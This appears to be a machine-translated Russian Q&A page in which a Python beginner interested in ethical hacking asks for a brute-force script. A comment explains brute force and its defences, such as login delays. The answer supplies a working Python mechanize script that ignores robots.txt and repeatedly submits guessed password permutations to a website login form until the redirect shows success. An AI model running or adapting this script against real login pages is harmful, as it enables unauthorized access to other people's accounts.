2016-08-22 3 views
-6

Мне нужна помощь в написании сценария грубой силы Python 3. Недавно я только начал учиться Python и хотел также принять некоторые этические курсы хакерства. Я просто хотел бы спросить, если кто-нибудь знает, как сделать BruteForce скрипт в Python 3. Спасибо :)Python bruteforce script

+1

Мое предложение сначала узнать Python. Атака грубой силой - это не что иное, как попытка всех возможных комбинаций чего-то. Например, если вы ищете трехзначный пароль, попробуйте 000, затем 001, затем 002 и т. Д. До 999. Как только вы выучите достаточное базовое программирование, вы можете это сделать. Минимальные пароли и задержки входа очень хороши в том, что грубая сила непрактична. –

ответ

0

попробовать эти скрипт

#!/usr/bin/python 
import mechanize 
import itertools 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 

combos = itertools.permutations("i3^4hUP-",8) 
br.open("http://www.example.com/login/") 
for x in combos:  
    br.select_form(nr = 0) 
    br.form['userName'] = "user name" 
    br.form['password'] = ''.join(x) 
    print "Checking ",br.form['password'] 
    response=br.submit() 
    if response.geturl()=="http://www.example.com/redirected_to_url": 
     #url to which the page is redirected after login 
     print "Correct password is ",''.join(x) 
     break